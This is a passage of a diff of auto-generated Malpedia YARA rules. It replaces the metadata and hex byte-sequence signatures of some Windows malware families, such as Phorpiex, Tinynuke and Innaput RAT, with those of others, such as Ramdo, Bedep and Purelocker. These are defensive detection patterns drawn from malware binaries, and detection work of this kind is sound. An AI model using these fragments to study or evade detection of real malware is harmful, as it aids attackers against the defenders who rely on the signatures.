e8???????? 89c3 85c0 0f84fc000000 31db 662e0f1f840000000000 4c89e2 } - $sequence_5 = { 7371 418b4120 85c0 755f 4881faffffff3f 7768 4883ec38 } - $sequence_6 = { c6431770 488d15d8461100 480f44fa 4d85e4 b8011a0000 48896b08 488d15d040fbff } - $sequence_7 = { e8???????? 4d85ff 7475 440fb74760 410fbf4e36 4139c8 7c66 } - $sequence_8 = { f77134 8d5001 4439fa 0f84b0010000 4531c9 4c8d442448 4489fa } - $sequence_9 = { e8???????? 4829c4 488b4548 4885c9 742d 4989ca 4883796800 } + $sequence_0 = { 83f801 7411 3d81000000 740a } + $sequence_1 = { 488bea 4c8be1 4889742440 4885c9 } + $sequence_2 = { 0f84aa000000 4885d2 0f84a1000000 48895c2448 488d5a08 } + $sequence_3 = { 498bcd e8???????? 4c8b6c2448 4d85e4 } + $sequence_4 = { 48896810 488970e0 488978d8 33db 4c8970d0 4532e4 33f6 } + $sequence_5 = { 4885c9 7427 488b842490000000 48899c2490000000 } + $sequence_6 = { 4889442430 e8???????? 48399c2480000000 0f84ef000000 } + $sequence_7 = { 4c8b6c2448 4d85e4 740f 33c9 e8???????? } + $sequence_8 = { 83c404 83e103 f3aa 8b442414 85c0 } + $sequence_9 = { 8bcf 8b7c2414 8bd1 33c0 c1e902 } + $sequence_10 = { 740a 83f808 7405 83f811 } + $sequence_11 = { 33ff 3bf7 c644241300 897c2418 897c241c 897c2414 0f8423010000 } + $sequence_12 = { ff15???????? 89442420 8d442414 8d4c2420 50 51 } + $sequence_13 = { 7411 6a00 e8???????? 56 ff15???????? 83c408 8b442430 } + $sequence_14 = { 57 ffd6 83c408 8b7c2428 85ff 740d } + $sequence_15 = { e8???????? 83c40c 3bc7 8944241c 0f84f3000000 } condition: - 7 of them and filesize < 27009024 + 7 of them and filesize < 2023424 } -rule MALPEDIA_Win_Unidentified_108_Auto : FILE +rule MALPEDIA_Win_Colony_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "523cac0e-068e-567f-9b67-256b819ee9a9" + id = "6de8851a-b1ef-561a-a63a-12519dea8778" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_108" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.unidentified_108_auto.yar#L1-L114" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.colony" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.colony_auto.yar#L1-L230" license_url = "N/A" - logic_hash = "ff49cd548bd3e2342145a6556aab556577d4c1ad014ed5644df8b6ae901a1a52" + logic_hash = "2b20de5492a48cc7fc726969d55d094c8002372f30c4bd6a4f1592aca3fb7fc0" score = 75 - quality = 75 + quality = 73 tags = "FILE" version = "1" tool = "yara-signator v0.6.0" @@ -84019,32 +84026,46 @@ rule MALPEDIA_Win_Unidentified_108_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 4c8d05a21d0100 488bf9 488d15a01d0100 b904000000 e8???????? 8bd3 } - $sequence_1 = { 48c1fe06 4c8d2d0a5b0100 83e03f 4c8d24c0 498b44f500 } - $sequence_2 = { 488d15e7f30000 83e03f 4d8bfd 49c1ff06 41b90a000000 488d3cc0 } - $sequence_3 = { 742e 488d5510 0f1f840000000000 803201 } - $sequence_4 = { 8b0d???????? 458bc5 f20f1005???????? 488bf8 } - $sequence_5 = { 488d5201 41ffc0 488d4520 498bcc } - $sequence_6 = { 4c8d15e0f40000 83e03f 498bd5 48c1fa06 } - $sequence_7 = { 736e 488bc3 488bf3 48c1fe06 4c8d2d4ef70000 83e03f } - $sequence_8 = { 486bc000 488d0d5ed50100 8b542430 48891401 488d0dd7250100 e8???????? } - $sequence_9 = { 48894dff 83e03f 458be9 488d0dd066ffff 4c8945e7 } + $sequence_0 = { 740f 0301 eb0b a801 } + $sequence_1 = { 32c0 8be5 5d c3 807d0800 56 57 } + $sequence_2 = { 8b4224 2b4220 660f6ec0 f30fe6c0 } + $sequence_3 = { 8b421c 2b4218 660f6ec0 f30fe6c0 } + $sequence_4 = { 8a4203 8841fe 8a4202 8841ff 8b02 c1e808 8801 } + $sequence_5 = { 334f14 8b45f4 894dfc 8bca c1e910 81e1ff000000 c1e808 } + $sequence_6 = { 69d200008f04 2bc8 c1e910 69c161a4f778 2bd0 } + $sequence_7 = { 7407 b901000000 eb0a 33c9 803f01 0f95c1 33c0 } + $sequence_8 = { 0fbed9 83eb30 eb13 8ac1 } + $sequence_9 = { 0f85bd000000 807dda01 751f 66a1???????? } + $sequence_10 = { 0f85bc000000 f30f7e05???????? 660fd606 a0???????? } + $sequence_11 = { 0f855b010000 8d7830 c7403c00000000 8d4838 eb0d 8d7824 } + $sequence_12 = { 8b00 83f801 7e5c f7420400080000 } + $sequence_13 = { 0f8fc9010000 0f84ad010000 3d09280000 0f8ff1000000 } + $sequence_14 = { 8b4214 2b4210 660f6ec0 f30fe6c0 } + $sequence_15 = { 0101 0101 0202 0202 0200 0102 0202 } + $sequence_16 = { 483305???????? 488bcb 488905???????? ff15???????? 488d15a9980000 } + $sequence_17 = { e9???????? 4c8d357e0c0100 488b0d???????? eb7b 4c8d35660c0100 } + $sequence_18 = { 48393d???????? 448bf0 0f85f8000000 488d0d687b0000 33d2 41b800080000 } + $sequence_19 = { e8???????? 488d15a3a50000 488d0d94a50000 e8???????? } + $sequence_20 = { 488bd7 488bcf 48c1f905 83e21f 4c8d05f8c70000 498b0cc8 486bd258 } + $sequence_21 = { 7519 4c8d05f3900000 8bd7 498bce } + $sequence_22 = { b91e000000 e8???????? b9ff000000 e8???????? 4803db 4c8d3590fc0000 } + $sequence_23 = { 488bc8 ff15???????? 488d15147b0000 488bcb 488905???????? } condition: - 7 of them and filesize < 307200 + 7 of them and filesize < 7599104 } -rule MALPEDIA_Win_Makadocs_Auto : FILE +rule MALPEDIA_Win_Ramdo_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "3783cfc0-154b-51b0-b2f8-112def4fc579" + id = "e5dab1d9-452a-5887-a4af-58f6481f5f6c" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.makadocs" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.makadocs_auto.yar#L1-L124" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.ramdo" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.ramdo_auto.yar#L1-L105" license_url = "N/A" - logic_hash = "bc62432004ad887b8979c87f3801ee7c6c80fe20ba6026d285a25c1d6c33524c" + logic_hash = "8755ec08f63d4c02872dc91cf7ac7496e98fc865f5e95d3244691dbde1a5dad8" score = 75 quality = 75 tags = "FILE" @@ -84058,32 +84079,32 @@ rule MALPEDIA_Win_Makadocs_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 50 e8???????? 83c414 8d5c2414 c644243008 e8???????? c644243003 } - $sequence_1 = { 750d 8d460c 55 e8???????? 84c0 7436 8b4c242c } - $sequence_2 = { c644242c07 8b442434 51 83c0f0 89642420 8bf4 e8???????? } - $sequence_3 = { eb12 8b442420 8b4804 51 ff15???????? } - $sequence_4 = { 8b00 83c404 50 e8???????? 8b9548ffffff 894250 8b8554ffffff } - $sequence_5 = { 85f6 0f8c09020000 3bf1 0f8f01020000 03c6 } - $sequence_6 = { 8d5c2410 c64424300c e8???????? b303 885c2430 8b44241c } - $sequence_7 = { 50 b9???????? e8???????? 8d4c2420 51 8d4c2450 c68424a80000002d } - $sequence_8 = { 8d4c2440 e8???????? 8d542444 68???????? b314 } - $sequence_9 = { 83c404 56 8944241c ff15???????? } + $sequence_0 = { e8???????? 68b3030442 6a00 6a00 e8???????? } + $sequence_1 = { 68bc882a42 6a03 6a00 e8???????? } + $sequence_2 = { 6894dac0dc 6a00 6a00 e8???????? } + $sequence_3 = { ff55f8 8945fc 837dfcff 7411 } + $sequence_4 = { 68dd786eac 6a03 6a00 e8???????? } + $sequence_5 = { 68c07b3072 6a03 6a00 e8???????? } + $sequence_6 = { 68b6b2cff5 6a03 6a00 e8???????? } + $sequence_7 = { 68b928ece1 6a03 6a00 e8???????? } + $sequence_8 = { 68b900308a 6a01 6a00 e8???????? } + $sequence_9 = { 68c29e34ea 6a03 6a00 e8???????? } condition: - 7 of them and filesize < 344064 + 7 of them and filesize < 548864 } -rule MALPEDIA_Win_Innaput_Rat_Auto : FILE +rule MALPEDIA_Win_Unidentified_042_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "d86d59ae-6efa-5db2-8e1b-5b4757eca710" + id = "ae890a66-8da7-5772-a89f-ab1d2760fae8" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.innaput_rat" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.innaput_rat_auto.yar#L1-L117" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_042" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.unidentified_042_auto.yar#L1-L131" license_url = "N/A" - logic_hash = "9400019d5ff97dc8155c2ec12b684baeeb0d9d8ecccb4529f4b2a8b8f06ad889" + logic_hash = "782ff3cf4462e323a29ec1ed58b2c131a4c6b0f31ed36cc79b62c6515d0facd2" score = 75 quality = 75 tags = "FILE" @@ -84097,32 +84118,32 @@ rule MALPEDIA_Win_Innaput_Rat_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { ffb720060000 8d8f1c060000 51 ffb718060000 } - $sequence_1 = { 85c0 7427 ffb720060000 8d8f1c060000 51 } - $sequence_2 = { 8bf8 33c0 893b ab } - $sequence_3 = { ff15???????? ffb718060000 ff15???????? 85c0 750c ffb71c060000 ff15???????? } - $sequence_4 = { ff15???????? 85c0 750c ffb71c060000 ff15???????? 57 e8???????? } - $sequence_5 = { 59 8bc6 3bf3 75ed } - $sequence_6 = { 751b 53 53 53 } - $sequence_7 = { ff15???????? 85c0 750c ffb71c060000 ff15???????? } - $sequence_8 = { 85c0 7413 3bc6 740f 8b4d08 e8???????? 3b450c } - $sequence_9 = { 2bf1 8a08 884c0616 40 84c9 75f5 } + $sequence_0 = { 56 8bf0 8b4508 8b00 57 8bf9 c70600000000 } + $sequence_1 = { 53 8bd8 56 b800200000 33f6 66858350020000 7410 } + $sequence_2 = { 8a1430 40 8855ff 33d2 8d7801 33c9 8955f4 } + $sequence_3 = { 66858f50020000 0f8532ffffff c60616 8a977e010000 885601 8a877f010000 884602 } + $sequence_4 = { 53 56 8bf0 a1???????? 33db 57 895df8 } + $sequence_5 = { 895df4 8d75e8 e8???????? 8bc7 5f 5e } + $sequence_6 = { 57 ffd6 a3???????? 85c0 0f8489020000 8d95d7fcffff 52 } + $sequence_7 = { c78518f9ffff356c656e c7851cf9ffff636a5a44 c78520f9ffff49577a32 c78524f9ffff59725a56 c78528f9ffff4362620d c7852cf9ffff0a626671 c78530f9ffff73752f38 } + $sequence_8 = { 0175f0 c1cf02 89b5ccfeffff 89bdd4feffff 8bfa } + $sequence_9 = { 88480a 66859350020000 7548 8b7b18 8d700b 6a41 8bce } condition: - 7 of them and filesize < 73728 + 7 of them and filesize < 516096 } -rule MALPEDIA_Win_Mbrlock_Auto : FILE +rule MALPEDIA_Win_Bedep_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "278f7834-90b2-5397-9ece-a797760d8d62" + id = "6ea06871-a8ca-5ce7-b9c2-106c128847d6" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.mbrlock" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.mbrlock_auto.yar#L1-L127" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.bedep" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.bedep_auto.yar#L1-L131" license_url = "N/A" - logic_hash = "f922ef8df18c5fa1824f3d97da8882716cabf76bff393f438d1827b2c64b4a0e" + logic_hash = "16b76a62133391f06cc2c61f0e60ca33efb0a31528884eb23ddb66df3319299d" score = 75 quality = 75 tags = "FILE" @@ -84136,34 +84157,34 @@ rule MALPEDIA_Win_Mbrlock_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 663d0500 7445 668bce 668bd0 66c1e90a 66c1ea0a } - $sequence_1 = { 8965f0 8b4708 8975ec 85c0 c745fc00000000 7422 50 } - $sequence_2 = { e8???????? 8d4d8c c745fcffffffff e8???????? b801000000 8b4df4 64890d00000000 } - $sequence_3 = { 6685d2 740c 33c9 663bf0 0f94c1 } - $sequence_4 = { 85f6 7407 8d4608 85c0 7517 8d442410 } - $sequence_5 = { 6a00 52 57 50 ff5624 8bf8 85ff } - $sequence_6 = { 83c410 8b45ec 8d4e24 50 53 } - $sequence_7 = { c744242044764a00 8d4c2420 6a01 8d542444 51 52 8bce } - $sequence_8 = { 5b 0f94c0 81c480010000 c3 5f 5e 33c0 } - $sequence_9 = { 7409 53 e8???????? 83c404 68010100a0 6a00 } + $sequence_0 = { 6a02 5f 397df0 7e03 895dfc 837d0800 741f } + $sequence_1 = { 8d45a4 50 ff7508 8975fc e8???????? } + $sequence_2 = { e8???????? 8bf0 85f6 59 743c 8a45e0 832600 } + $sequence_3 = { eb54 53 6878020000 8d8580fdffff 50 6a01 ff75f8 } + $sequence_4 = { 85c9 7410 3bd1 740c 8b09 85c9 } + $sequence_5 = { 740b 8d442410 50 ff15???????? 8bc7 5f 5e } + $sequence_6 = { e8???????? 8bf0 f7c67fffffff 7729 ff7508 e8???????? 3bf3 } + $sequence_7 = { 8b4c2414 8b463c c644240f01 ff742418 ff742420 ff7644 6a01 } + $sequence_8 = { 40 85c9 7c08 668b4b0c 66014b0a 66894308 5f } + $sequence_9 = { ff7638 ff742438 50 8d442450 50 ff742438 8d442438 } condition: - 7 of them and filesize < 2031616 + 7 of them and filesize < 557056 } -rule MALPEDIA_Win_Phorpiex_Auto : FILE +rule MALPEDIA_Win_Kurton_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "9ce70e39-752b-5d3f-89f2-76accce1eb4a" + id = "d9353d3d-fdf8-56bf-b9b4-d5c14e22748b" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.phorpiex" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.phorpiex_auto.yar#L1-L274" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.kurton" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.kurton_auto.yar#L1-L120" license_url = "N/A" - logic_hash = "46ea47179a9ad601c3537e5e9a3e48103f2b8131777a3f05f545f317a9791487" + logic_hash = "070c043684321322d3719fa588bcbbaeb820fca4094babc856258c0a6bac0e61" score = 75 - quality = 73 + quality = 75 tags = "FILE" version = "1" tool = "yara-signator v0.6.0" @@ -84175,54 +84196,34 @@ rule MALPEDIA_Win_Phorpiex_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 6a00 ff15???????? ff15???????? 50 e8???????? } - $sequence_1 = { ff15???????? 85c0 740f 6a07 } - $sequence_2 = { ff15???????? 85c0 741f 6880000000 } - $sequence_3 = { 6a00 6a20 6a00 6a00 6a00 8b5508 } - $sequence_4 = { e8???????? 83c410 6a00 6a02 6a02 6a00 } - $sequence_5 = { 6a01 6a00 68???????? e8???????? 83c40c 33c0 } - $sequence_6 = { e8???????? 99 b90d000000 f7f9 } - $sequence_7 = { 50 e8???????? 83c404 e8???????? e8???????? ff15???????? } - $sequence_8 = { 68???????? ff15???????? 8d85f8fdffff 50 68???????? } - $sequence_9 = { 6a00 ff15???????? 85c0 7418 ff15???????? } - $sequence_10 = { 6a01 ff15???????? ff15???????? b001 } - $sequence_11 = { 6a00 682a800000 6a00 ff15???????? } - $sequence_12 = { 52 683f000f00 6a00 68???????? 6802000080 ff15???????? 85c0 } - $sequence_13 = { 7416 8b4df8 51 ff15???????? 8b55fc 52 e8???????? } - $sequence_14 = { f7f9 81c210270000 52 e8???????? } - $sequence_15 = { 85c0 752b 8b8510ffffff 83c001 } - $sequence_16 = { 6a01 ff15???????? 8945f8 837df800 7429 8b45f8 } - $sequence_17 = { 68???????? ff15???????? e9???????? 8d45fc } - $sequence_18 = { 50 e8???????? 59 59 85c0 7573 } - $sequence_19 = { 3d00010000 7504 83c8ff c3 } - $sequence_20 = { 7508 6a00 ff15???????? 6804010000 } - $sequence_21 = { 6a21 50 e8???????? c60000 } - $sequence_22 = { 52 e8???????? 99 b960ea0000 f7f9 } - $sequence_23 = { 56 ff15???????? b001 5e 81c408020000 } - $sequence_24 = { 68???????? 8d942410010000 6804010000 52 e8???????? } - $sequence_25 = { 40 84c9 75f9 8b0cb3 2bc2 50 } - $sequence_26 = { 41 663bc2 72f7 53 33c0 } - $sequence_27 = { 56 57 68e8030000 ff15???????? e8???????? be???????? } - $sequence_28 = { 50 8d45ec 50 6805000020 } - $sequence_29 = { 8d45f8 50 8d45e4 50 6805000020 } + $sequence_0 = { 50 57 e8???????? 68???????? e8???????? 83c404 } + $sequence_1 = { 52 ff15???????? 8b44241c 3bc3 7407 50 } + $sequence_2 = { 57 7355 8bc1 c1f805 8d3c85a05b0210 8bc1 } + $sequence_3 = { 8d4c240c 50 51 6a1f 52 } + $sequence_4 = { 83e103 f3a4 8d4c240c e8???????? 8d4c2448 } + $sequence_5 = { 8bce e8???????? 84c0 0f84d4000000 8bce e8???????? 84c0 } + $sequence_6 = { 0f8498feffff bf???????? 83c9ff 33c0 } + $sequence_7 = { 33c0 c68414c400000000 8bac24c8020000 f2ae f7d1 } + $sequence_8 = { 3ac3 0f84d9000000 3cff 0f84d1000000 fec8 } + $sequence_9 = { 57 55 8d5e10 8974241c 8bcb 8803 e8???????? } condition: - 7 of them and filesize < 2490368 + 7 of them and filesize < 344064 } -rule MALPEDIA_Win_Tinynuke_Auto : FILE +rule MALPEDIA_Win_Cloud_Duke_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "26956b4b-2451-5deb-9643-68612b9d6236" + id = "e419e016-f5fc-54fd-9e45-72cf3dfc672c" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.tinynuke" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.tinynuke_auto.yar#L1-L293" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.cloud_duke" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.cloud_duke_auto.yar#L1-L125" license_url = "N/A" - logic_hash = "19ead60aa2eb3196f69ad300611cd24757349dd6202d9e3aa3460ca7368338a0" + logic_hash = "fda6f38613671be0889a1aab772fc69d0cd906ec00d4774d2302c1e1bbcac11b" score = 75 - quality = 73 + quality = 75 tags = "FILE" version = "1" tool = "yara-signator v0.6.0" @@ -84234,53 +84235,32 @@ rule MALPEDIA_Win_Tinynuke_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { c3 55 8bec 817d0c00040000 } - $sequence_1 = { ff15???????? ff35???????? 8b7dfc 57 a3???????? ff15???????? ff35???????? } - $sequence_2 = { 5e 85c0 753c 56 8d45f8 } - $sequence_3 = { 8945f4 8d85d4feffff 50 ff15???????? } - $sequence_4 = { 83c418 a3???????? 5f 5e 5b c9 c3 } - $sequence_5 = { 8d8530f6ffff 50 6802020000 ff15???????? } - $sequence_6 = { 53 56 57 33c0 33db 6a07 } - $sequence_7 = { 6a03 53 53 6800000080 50 ff15???????? a3???????? } - $sequence_8 = { ff75ec ff75fc e8???????? 83c40c 5f } - $sequence_9 = { 50 ff15???????? ff35???????? 8d85a4feffff 50 ff15???????? } - $sequence_10 = { a3???????? 68e2010000 68???????? 68???????? e8???????? } - $sequence_11 = { 8b02 8a00 3c0a 7409 3c0d } - $sequence_12 = { 6a2a 50 8945fc ff15???????? } - $sequence_13 = { ff15???????? a3???????? ff35???????? ff75ec ff15???????? } - $sequence_14 = { a3???????? ff35???????? ff75f8 ff15???????? } - $sequence_15 = { c70604000000 e8???????? eb18 83f803 7519 } - $sequence_16 = { 59 8d85d0fcffff 50 8d85d8feffff 50 ff15???????? ff35???????? } - $sequence_17 = { 8d45dc 50 ff15???????? 8d85d0fcffff 50 e8???????? } - $sequence_18 = { 8d85d4fdffff 50 ff15???????? ff35???????? 8d85d4fdffff 50 ff15???????? } - $sequence_19 = { ff15???????? 8b35???????? 8d430c 50 } - $sequence_20 = { e8???????? 8945fc 8b0f 83ec08 85c9 75d6 } - $sequence_21 = { c70424???????? e8???????? 83ec08 85c0 75d6 } - $sequence_22 = { 85c0 7422 8b0cb2 83ec08 03cf ba???????? } - $sequence_23 = { 891c24 89442408 e8???????? 0fb76f06 } - $sequence_24 = { c785e4fdffff00000000 c785e0fdffff01000000 f3ab ff15???????? 8d85e8fdffff 6804010000 } - $sequence_25 = { e8???????? 83ec08 89c3 c7042400000000 e8???????? } - $sequence_26 = { 5b c20800 891c24 e8???????? 83ec04 } - $sequence_27 = { 89bdb8fdffff ff15???????? 83bdbcfdffff01 7477 8b85c4fdffff } - $sequence_28 = { 83ec0c 31c0 83c43c 5b 5e } - $sequence_29 = { 837c243401 7537 c744241400000000 c744241000000000 c744240c00000000 c7442408???????? c744240400000000 } - $sequence_30 = { 85c0 75d6 31db 8d742600 c70424???????? } + $sequence_0 = { 8b8a88e8ffff 33c8 e8???????? 83c008 8b4af8 33c8 } + $sequence_1 = { 89442420 742b 48 89442414 6aff 6a00 57 } + $sequence_2 = { e8???????? 51 8bc8 c645fc13 e8???????? 83c404 c645fc11 } + $sequence_3 = { 897da4 6a13 6a00 68???????? 8bce e8???????? 83f8ff } + $sequence_4 = { 83e4f0 6aff 68???????? 64a100000000 50 81ec2c020000 } + $sequence_5 = { 50 c784240c010000ffffffff e8???????? 8b842404010000 f7d0 39442428 0f8599060000 } + $sequence_6 = { 75f5 e9???????? 83f805 0f85b8020000 } + $sequence_7 = { 8bf0 e8???????? 83c414 39b42418010000 0f8572000000 6a44 } + $sequence_8 = { 668906 8945fc 8b4310 8b7e10 83c007 c745f001000000 3bf8 } + $sequence_9 = { 0f57c0 0f43842420010000 51 8d8c24a0010000 } condition: - 7 of them and filesize < 1196032 + 7 of them and filesize < 368640 } -rule MALPEDIA_Win_Getmail_Auto : FILE +rule MALPEDIA_Win_Pathloader_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "dbf6f885-27d8-521e-803a-d4cecec2a1f3" + id = "6e986434-599f-5205-bbd3-c4644fef6a44" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.getmail" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.getmail_auto.yar#L1-L124" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.pathloader" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.pathloader_auto.yar#L1-L126" license_url = "N/A" - logic_hash = "2b6fbdf48e4c6a7974cdc409a23649369cc0b33f0a3fc425aba3ea953c2d50db" + logic_hash = "7556d740969ba30806ff23ef7c71f55747c108deea39b5487e7d46d63a258306" score = 75 quality = 75 tags = "FILE" @@ -84294,32 +84274,32 @@ rule MALPEDIA_Win_Getmail_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 89442428 eb07 8d4c241c 51 } - $sequence_1 = { f3a4 8b442410 395840 7463 8b704c 8b7848 a1???????? } - $sequence_2 = { e8???????? 83c40c 85c0 752d bf???????? 83c9ff f2ae } - $sequence_3 = { 56 e8???????? 83c40c 895c2430 85c0 } - $sequence_4 = { 7cf1 56 8bf1 c1e603 3b9618444100 } - $sequence_5 = { 895c244c 895c2450 8b84243c020000 8d54247c 52 53 8b08 } - $sequence_6 = { 8bfe 8bcb 33c0 f2ae f7d1 49 51 } - $sequence_7 = { 8b4d00 68???????? 51 e8???????? 83c408 85c0 } - $sequence_8 = { 8b442420 3bc3 741d 8d48ff 8a40ff 84c0 } - $sequence_9 = { 8d542418 89442408 8b442410 56 52 8b08 } + $sequence_0 = { 7742 498bc8 e8???????? 4c897710 48c747180f000000 } + $sequence_1 = { 41ffd0 498986d8000000 488d55c8 48837de008 480f4355c8 4533c9 450fb786a0000000 } + $sequence_2 = { 7524 488d0d5e940200 e8???????? 85c0 7510 488d0d66940200 e8???????? } + $sequence_3 = { 488d15ea240100 e8???????? 8bcb 4885c0 740c } + $sequence_4 = { 0fb705???????? 6689442460 0fb605???????? 88442462 448bc1 4183ff02 } + $sequence_5 = { 4c63d2 488bd9 498bc2 458bf1 48c1f806 488d0dc0a20100 } + $sequence_6 = { 57 4883ec20 e8???????? 488b05???????? 488d1d2ffe0100 4885c0 480f45d8 } + $sequence_7 = { 488bfa 488bd9 49894ba8 498953b0 4533f6 45897398 } + $sequence_8 = { 410fb641ff 440f47c2 4533c2 4569d093010001 84c0 75d7 4181fad26d58ad } + $sequence_9 = { e8???????? 84c0 0f8422ffffff 44383d???????? f20f1005???????? 0fb705???????? } condition: - 7 of them and filesize < 188416 + 7 of them and filesize < 464896 } -rule MALPEDIA_Win_Cameleon_Auto : FILE +rule MALPEDIA_Win_Purelocker_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "6ba1f947-7c11-5a6f-94b1-6f9ed842ec2b" + id = "19f36305-4b96-510d-a7f2-0dc1a52c7e21" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.cameleon" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.cameleon_auto.yar#L1-L125" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.purelocker" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.purelocker_auto.yar#L1-L129" license_url = "N/A" - logic_hash = "5126d39a589ca456705b9580398901c26a625f6b65ede04aeb5951f2fdaf02c8" + logic_hash = "938c4b6e5f7cc834fc68e23dd33e35b757eeea1e164b3c0af40b39e69fc933d6" score = 75 quality = 75 tags = "FILE" @@ -84333,34 +84313,34 @@ rule MALPEDIA_Win_Cameleon_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 8b7de0 85f6 0f8567ffffff 83ff20 0f83a8000000 83c8ff 2bc7 } - $sequence_1 = { 3975d4 7347 52 56 8d4dc0 } - $sequence_2 = { c3 e8???????? 85c0 0f843aa70000 c3 833d????????ff 7503 } - $sequence_3 = { c745ecd88e0210 894df8 8945fc 64a100000000 8945e8 } - $sequence_4 = { 83f924 7d10 8a80f8c70410 8807 47 } - $sequence_5 = { 8b45b8 8b11 03c6 50 56 8d450c 50 } - $sequence_6 = { 253bffffff 33f6 3bc8 740c 8b0cb584bf0410 46 85c9 } - $sequence_7 = { 7405 e8???????? a900000080 751f d9fa 833d????????00 0f85037f0000 } - $sequence_8 = { 2bc1 83f808 0f86bc000000 8d7108 83fefe } - $sequence_9 = { e8???????? 8d8d04ffffff e8???????? 8d4d8c e8???????? 8d4da4 } + $sequence_0 = { 8f84240c040000 ffb42410040000 58 89842420040000 8b9c2414040000 3b9c240c040000 0f8da5000000 } + $sequence_1 = { 50 5b 5f 83ffff 7f0b 7c05 83fbff } + $sequence_2 = { e8???????? ffb42458080000 e8???????? 31c0 0fbec0 } + $sequence_3 = { 7505 e9???????? 8b9c2450040000 83fb01 0f85c3000000 83bc245804000000 7411 } + $sequence_4 = { 89442404 ff3424 8d1524400110 59 e8???????? 7415 } + $sequence_5 = { 750e 837c240400 7407 b801000000 eb02 31c0 21c0 } + $sequence_6 = { 7c11 8b5c2420 3b5c2428 7f07 b801000000 eb02 } + $sequence_7 = { e9???????? 6819000000 68ffffffff ff742414 ff742420 e8???????? ff742410 } + $sequence_8 = { 52 e8???????? 5a 50 ff742408 e8???????? 8d44241c } + $sequence_9 = { ffb424bc000000 e8???????? 0fbe842488000000 0fbec0 e9???????? ff742474 } condition: - 7 of them and filesize < 824320 + 7 of them and filesize < 193536 } -rule MALPEDIA_Win_Startpage_Auto : FILE +rule MALPEDIA_Win_Nagini_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "5a6b784b-ec8f-5962-9d64-894cc5561282" + id = "96b62be7-f485-5281-9063-fa2aa017f19b" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.startpage" - 